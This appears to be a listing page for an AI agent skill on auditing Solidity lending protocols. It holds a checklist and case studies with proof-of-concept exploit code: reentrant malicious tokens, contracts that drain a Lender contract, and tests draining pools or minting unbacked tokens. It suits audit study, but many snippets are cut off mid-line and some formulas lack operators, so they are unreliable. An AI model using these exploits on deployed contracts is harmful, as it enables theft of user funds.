# Solidity Lending Liquidation Bad Debt

> Audit money markets (Compound/Aave models) for collateral valuation desync, faulty health factor calculations, self-liquidation arbitrage loops, bad debt socialization failures, and liquidation frontrunning.

- Skill: `netvar1337/solidity-lending-liquidation-bad-debt` (Agent Skill)
- Install (CLI): `npx skillmds@latest add netvar1337/solidity-lending-liquidation-bad-debt`
- Raw SKILL.md: https://api.skillmd.com/api/skills/netvar1337/solidity-lending-liquidation-bad-debt/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: netvar1337 (https://skillmd.com/u/netvar1337)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/netvar1337/solidity-lending-liquidation-bad-debt

---


# Solidity Lending Protocols, Collateral Health & Liquidation Vulnerabilities

## Overview & Empirical Grounding
This security auditing skill is synthesized from **1179 empirical audit contest findings** (165 Critical, 1014 High severity) extracted from the `Zaevlad/audit-findings-dataset` corpus.

Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit **Lending & Money Markets** patterns.

### Key Trigger Keywords
`liquidation`, `bad debt`, `health factor`, `collateral factor`, `compound fork`, `aave flashloan`, `borrow rate`, `insolvency`

---

## Threat Model & Core Attack Vectors

Detailed failure modes identified across empirical audit findings:
1. **Unchecked Assumptions & Protocol State Discrepancy**: Deviations between internal accounting state and actual balances/external conditions.
2. **Missing Boundary Checks & Validation**: Failing to constrain user inputs, return values, or stale external data feeds.
3. **Execution Ordering & Invariant Breakage**: Invariants momentarily violated during external calls or intermediary calculations.
4. **Economic & MEV Incentives**: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.

---

## Step-by-Step Audit Checklist

When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:

### 1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (`onlyOwner`, `onlyRole`, custom guards) and ensure roles are initialized in constructor/initializer.
- Trace all token balance state changes and external contract interactions.

### 2. Deep Invariant & Boundary Verification
- **Input Validation**: Check zero-address (`address(0)`), zero-amount, array length parity, and upper/lower bounds.
- **State Transition Sequencing**: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- **External Return Handling**: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- **Failure Paths & DoS Hazards**: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.

### 3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (`forge test`):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

contract AuditPoCTest is Test {
    // Setup target protocol and mock dependencies
    function setUp() public {
        // Fork mainnet or deploy local environment
    }

    function test_exploit_vector() public {
        // 1. Establish initial attacker balance
        // 2. Trigger vulnerability
        // 3. Assert invariant violation or balance drain
    }
}
```

---

## Empirical Case Studies from Zaevlad/audit-findings-dataset

The following real-world contest findings illustrate the root causes and remediation patterns:

### Case Study: Lender contract can be drained by re-entrancy in `repay`
- **Severity**: High (Dataset Weight: 1.00, ID: #3672)
- **Vulnerability Mechanism**:
An attacker can craft a token allowing reentrant calls on transfer to drain any token from the Lender contract.

The Lender contract allows any token as loanToken and the repay function transfers the tokens before deleting the loan which result in a re-entrancy vulnerability. A malicious actor can craft a token allowing reentrant calls on transfer to exploit the re-entrancy vulnerability in the repay function and get more than one time his collateral back.

```solidity
File: Lender.Sol

L316:    // transfer the loan tokens from the borrower to the pool
            IERC20(loan.loanToken).transferFrom( // @audit - Re-entrancy can drain contract
                msg.sender,
                address(this),
                loan.debt + lenderInterest
            );
            // transfer the protocol fee to the fee receiver
            IERC20(loan.loanToken).transferFrom(
                msg.sender,
                feeReceiver,
                protocolInterest
            );
            // transfer the collateral tokens from the contract to the borrower
            IERC20(loan.collateralToken).transfer(
                loan.borrower,
                loan.collateral
            );
        

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contracts to drain the lender contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract ExploitToken is ERC20 {
    address owner;
    constructor(uint256 amount) ERC20("ExploitToken", "ET") {
        owner = msg.sender;
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        (bool status,) = owner.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        require(status, "call failed");
    }
}
```

```solidity
File: Exploit7.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ExploitToken} from "./ExploitToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit7  {
    Lender lender;
    address collateralToken;
    ExploitToken exploitToken;
    bool loanBorrowed;
    uint256 i;

    constructor(Lender _lender, address _collateralToken) {
        len
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by deleting the loan loans[loanId] before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Lender contract can be drained by re-entrancy in `setPool`
- **Severity**: High (Dataset Weight: 1.00, ID: #3673)
- **Vulnerability Mechanism**:
Tokens allowing reentrant calls on transfer can be drained from the contract.

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
```solidity
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract WeirdToken is ERC20 {

    constructor(uint256 amount) ERC20("WeirdToken", "WT") {
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        if (to != address(0)) {
            (bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        }
    }
}
```
 
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
```solidity
File: Lender.sol

L157:    } else if (p.poolBalance < currentBalance) {
            // if new balance < current balance then transfer the difference back to the lender
            IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can 

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contract to drain the lender contract:
```solidity
File: Exploit3.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit3  {
    Lender lender;
    Pool pool;

    constructor(Lender _lender) {
        lender = _lender;
    }

    function attack(address _loanToken, uint256 _poolBalance) external {
        ERC20(_loanToken).approve(address(lender), _poolBalance);
        // [1] Create a new pool
        Pool memory p = Pool({
            lender: address(this),
            loanToken: _loanToken,
            collateralToken: address(0),
            minLoanSize: 10 * 10**18,
            poolBalance: _poolBalance,
            maxLoanRatio: 210 * 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        // [2] Update pool with 0 poolBalance
        p.poolBalance = 0;
        pool = p;
        lender.setPool(p);
        // [3] Send the funds back to the at
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Forcing a borrower to pay a huge debt via the giveLoan()
- **Severity**: High (Dataset Weight: 1.00, ID: #3691)
- **Vulnerability Mechanism**:
The Lender::giveLoan() can be used by a rogue lender to force a borrower to pay a huge debt to repay their loan. Otherwise, their loan's collateral tokens will be seized.

Even if allowing a lender to give a loan to another pool (via the giveLoan()) is a feature, a rogue lender can execute the giveLoan() to force the loan's principal debt to compound with the loan's interests (lenderInterest + protocolInterest).

After executing the giveLoan(), the loan's debt will become bigger. Specifically, the old debt will be compounded with the loan's interests to become the new bigger debt.
```solidity
    function giveLoan(
        uint256[] calldata loanIds,
        bytes32[] calldata poolIds
    ) external {
        for (uint256 i = 0; i < loanIds.length; i++) {
            ...

            // calculate the interest
            (
                uint256 lenderInterest,
                uint256 protocolInterest
            ) = _calculateInterest(loan);
@>          uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;

            ...

            // update the loan with the new info
            loans[loanId].lender = pool.lender;
            loans[loanId].interestRate = pool.in

#### Proof of Concept / Vulnerable Pattern
```solidity
Let's do a simple math for demonstration. Assume that:
Debt: $5
InterestRate: 0.1 (10%) per second
BorrowingLength: 10 seconds

Scenario 1: a borrower borrows the debt for 10 seconds and repays their loan
```solidity
// Just a simple math for PoC

// InterestToPay already includes both the lenderFee and protocolFee
InterestToPay = InterestRate  Debt  BorrowingLength
		      = 0.1  $5  10
		      = $5

TotalDebt = Debt + InterestToPay
		  = $5 + $5
		  = $10
```

Scenario 2: a borrower borrows the debt for 10 seconds and repays their loan but at the 5th second, a lender executes the giveLoan()
```solidity
// Just a simple math for PoC

// InterestFirst5Sec already includes both the lenderFee and protocolFee
InterestFirst5Sec = InterestRate  Debt  BorrowingLength
		          = 0.1  $5  5
		          = $2.5

TotalDebtAfter5Sec = Debt + InterestFirst5Sec
		           = $5 + $2.5
		           = $7.5 (this will become a new debt)

// InterestSecond5Sec already includes both the lenderFee and protocolFee
InterestSecond5Sec = InterestRate  NewDebt  BorrowingLength
		           = 0.1  $7.5  5
		           = $3.75

TotalDebtAfter10Sec = NewDebt + InterestSecond5Sec
		            = $7.5 + $3.
```

- **Remediation Recommendation**:
Since an attacker (rogue lender) can exploit the issue through their controllable Sybil pools, we cannot address the issue by disallowing a lender to execute the giveLoan() on the same pool.

Thus, a borrower should have choices for mitigating the issue when borrowing a loan. 

Two example choices:
A borrower can disallow giving their loan to another pool via the giveLoan(). In this case, a lender could execute the startAuction() only.
A borrower can allow giving their loan to another pool via the giveLoan(). In this case, a borrower should be able to limit the maximum times the giveLoan() can execute on their loan.

---
### Case Study: Total market debt > 0 when credit deposits > netusdissuance which breaks key protocol logic
- **Severity**: High (Dataset Weight: 1.00, ID: #11382)
- **Vulnerability Mechanism**:
```solidity
function depositCreditForMarket(
        uint128 marketId,
        address collateralAddr,
        uint256 amount
    )
        external
        onlyRegisteredEngine(marketId)
    {
        if (amount == 0) revert Errors.ZeroInput("amount");

        // loads the collateral's data storage pointer, must be enabled
        Collateral.Data storage collateral = Collateral.load(collateralAddr);
        collateral.verifyIsEnabled();

        // loads the market's data storage pointer, must have delegated credit so
        // engine is not depositing credit to an empty distribution (with 0 total shares)
        // although this should never happen if the system functions properly.
        Market.Data storage market = Market.loadLive(marketId);
        if (market.getTotalDelegatedCreditUsd().isZero()) {
            revert Errors.NoDelegatedCredit(marketId);
        }

        // uint256 -> UD60x18 scaling decimals to zaros internal precision
        UD60x18 amountX18 = collateral.convertTokenAmountToUd60x18(amount);

        // caches the usdToken address
        address usdToken = MarketMakingEngineConfiguration.load().usdTokenOfEngine[msg.sender];

        // caches the usdc


#### Proof of Concept / Vulnerable Pattern
```solidity
```solidity
function test_debtvaluenonnegativewhencreditdepositsgtnetusdissuance(uint128 vaultId,
        uint128 marketId
    )
        external
    {
        vm.stopPrank();
        // configure vaults and markets
        VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
        vm.assume(fuzzVaultConfig.asset != address(wBtc)); // to avoid overflow issues
        vm.assume(fuzzVaultConfig.asset != address(usdc)); // to log market debt
        PerpMarketCreditConfig memory fuzzMarketConfig = getFuzzPerpMarketCreditConfig(marketId);

        uint256[] memory marketIds = new uint256[](1);
        marketIds[0] = fuzzMarketConfig.marketId;

        uint256[] memory vaultIds = new uint256[](1);
        vaultIds[0] = fuzzVaultConfig.vaultId;

        vm.prank(users.owner.account);
        marketMakingEngine.connectVaultsAndMarkets(marketIds, vaultIds);

        address engine = marketMakingEngine.workaround_getMarketEngine(fuzzMarketConfig.marketId);
        
        address usdtoken = marketMakingEngine.workaround_getUsdTokenOfEngine(engine);

        // perp engine deposits credit into market to incur debt
        deal(fuzzVaultConfig.asset, address(fuzzMarketConfig.e
```

- **Remediation Recommendation**:
```solidity
// Corrected Debt Calculation:
realizedDebtUsdX18 = sd59x18(self.netUsdTokenIssuance).sub(creditDepositsValueUsdX18.intoSD59x18());
```
Since netUsdTokenIssuance represents debt issuance, it should be positive when debt is high. creditDepositsValueUsdX18 represents assets held, which reduces the market’s net debt.

Modify the CreditDelegationBranch::depositCreditForMarket function so that USDC deposits correctly reduce debt and credit deposits increase the credit balance and do not incorrectly inflate the market’s debt.

---
### Case Study: Incorrect calculation in CreditDelegationBranch::withdrawUsdTokenFromMarket allows attacker mint any amount of usdz
- **Severity**: High (Dataset Weight: 1.00, ID: #11383)
- **Vulnerability Mechanism**:
Market::getCreditCapacityUsd function located in CreditDelegationBranch::withdrawUsdTokenFromMarket, which incorrectly calculates the credit capacity of a market by adding the total debt to the delegated credit instead of subtracting it. This flaw leads to an overestimation of the market's credit capacity, potentially allowing the system to operate in an unsafe state where it cannot cover its liabilities. This issue is particularly severe because it affects the core logic of credit delegation and debt management in the protocol and allows an attacker to mint an amount of usdz that the protocol cannot back 1:1 with usdc which breaks a key protocol invariant.

CreditDelegationBranch::withdrawUsdTokenFromMarket contains the following code:
```solidity
/// @notice Mints the requested amount of USD Token to the caller and updates the market's
    /// debt state.
    /// @dev Called by a registered engine to mint USD Token to profitable traders.
    /// @dev USD Token association with an engine's user happens at the engine contract level.
    /// @dev We assume amount is part of the market's reported unrealized debt.
    /// @dev Invariants:
    /// The Market of marketId MUST exist.
   

#### Proof of Concept / Vulnerable Pattern
```solidity
```solidity
function test_creditcapacitywrongcalculation( 
        uint256 marketId,
        uint256 amount,
        uint256 amounttodepositcredit,
        uint128 vaultId,
        uint64 anyamount
    )
        external
    {
         amounttodepositcredit = bound({ x: amount, min: 1, max: type(uint32).max });

        PerpMarketCreditConfig memory fuzzMarketConfig = getFuzzPerpMarketCreditConfig(marketId);
       vaultId = uint128(bound(vaultId, INITIALVAULTID, FINALVAULTID));
        VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);

        vm.assume(fuzzVaultConfig.asset != address(usdc));

        deal({ token: address(fuzzVaultConfig.asset), to: address(fuzzMarketConfig.engine), give: amounttodepositcredit*10 });
        changePrank({ msgSender: address(fuzzMarketConfig.engine) });

        // first user deposits credit into the market
        marketMakingEngine.depositCreditForMarket(fuzzMarketConfig.marketId, fuzzVaultConfig.asset, amounttodepositcredit);

        uint256 mmBalance = IERC20(fuzzVaultConfig.asset).balanceOf(address(marketMakingEngine));

        uint128 depositFee = uint128(vaultsConfig[fuzzVaultConfig.vaultId].depositFee);

        _setDepo
```

- **Remediation Recommendation**:
```solidity
/// @notice Returns a market's credit capacity in USD based on its delegated credit and total debt.
    /// @param delegatedCreditUsdX18 The market's credit delegated by vaults in USD.
    /// @param totalDebtUsdX18 The market's unrealized + realized debt in USD.
    /// @return creditCapacityUsdX18 The market's credit capacity in USD.
    function getCreditCapacityUsd(
        UD60x18 delegatedCreditUsdX18,
        SD59x18 totalDebtUsdX18
    )
        internal
        pure
        returns (SD59x18 creditCapacityUsdX18)
    {
        creditCapacityUsdX18 = delegatedCreditUsdX18.intoSD59x18().sub(totalDebtUsdX18);
    }
```

---
### Case Study: Attacker can drain pool using `executeBuyWithCredit` with malicious marketplace payload
- **Severity**: High (Dataset Weight: 1.00, ID: #17061)
- **Vulnerability Mechanism**:
Paraspace supports leveraged purchases of NFTs through PoolMarketplace entry points. User calls buyWithCredit with marketplace, calldata to be sent to marketplace, and how many tokens to borrow.
```solidity
function buyWithCredit(
    bytes32 marketplaceId,
    bytes calldata payload,
    DataTypes.Credit calldata credit,
    uint16 referralCode
) external payable virtual override nonReentrant {
    DataTypes.PoolStorage storage ps = poolStorage();
    MarketplaceLogic.executeBuyWithCredit(
        marketplaceId,
        payload,
        credit,
        ps,
        ADDRESSES_PROVIDER,
        referralCode
    );
}
```
In executeBuyWithCredit, orders are deserialized from the payload user sent to a DataTypes.OrderInfo structure. Each MarketplaceAdapter is required to fulfil that functionality through getAskOrderInfo:
```solidity
DataTypes.OrderInfo memory orderInfo = IMarketplace(marketplace.adapter)
    .getAskOrderInfo(payload, vars.weth);
```
If we take a look at LooksRareAdapter’s getAskOrderInfo, it will the consideration parameter using only the MakerOrder parameters, without taking into account TakerOrder params
```solidity
(
    OrderTypes.TakerOrder memory takerBid,
    Ord

#### Proof of Concept / Vulnerable Pattern
```solidity
In `_pool_marketplace_buy_wtih_credit.spec.ts`, add this test:
```solidity
it("looksrare attack", async () => {
  const {
    doodles,
    dai,
    pool,
    users: [maker, taker, middleman],
  } = await loadFixture(testEnvFixture);
  const payNowNumber = "10";
  const poolVictimNumber = "990";
  const payNowAmount = await convertToCurrencyDecimals(
    dai.address,
    payNowNumber
  );
  const poolVictimAmount = await convertToCurrencyDecimals(
    dai.address,
      poolVictimNumber
  );
  const totalAmount = payNowAmount.add(poolVictimAmount);
  const nftId = 0;
  // mint DAI to offer
  // We don't need to give taker any money, he is not charged
  // Instead, give the pool money
  await mintAndValidate(dai, payNowNumber, taker);
  await mintAndValidate(dai, poolVictimNumber, pool);
  // middleman supplies DAI to pool to be borrowed by offer later
  //await supplyAndValidate(dai, poolVictimNumber, middleman, true);
  // maker mint mayc
  await mintAndValidate(doodles, "1", maker);
  // approve
  await waitForTx(
    await dai.connect(taker.signer).approve(pool.address, payNowAmount)
  );
  console.log("maker balance before", await dai.balanceOf(maker.address))
  console.log("tak
```

- **Remediation Recommendation**:
It is important to validate that the price charged to user is the same price taken from the Pool contract:
```solidity
// In LooksRareAdapter's getAskOrderInfo:
require(makerAsk.price == takerBid.price);
```


---

## Remediation & Hardening Principles

- **Fail-Safe Defaults**: Always favor reverting rather than proceeding with invalid or unexpected state.
- **Defensive Type Safety**: Use OpenZeppelin's vetted libraries (`SafeERC20`, `ReentrancyGuardUpgradeable`, `SafeCast`, `Math`).
- **Two-Step Critical Actions**: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- **Comprehensive Testing Matrix**: Pair unit tests with property-based invariant testing (Foundry `invariant` or Echidna) and mutation testing.

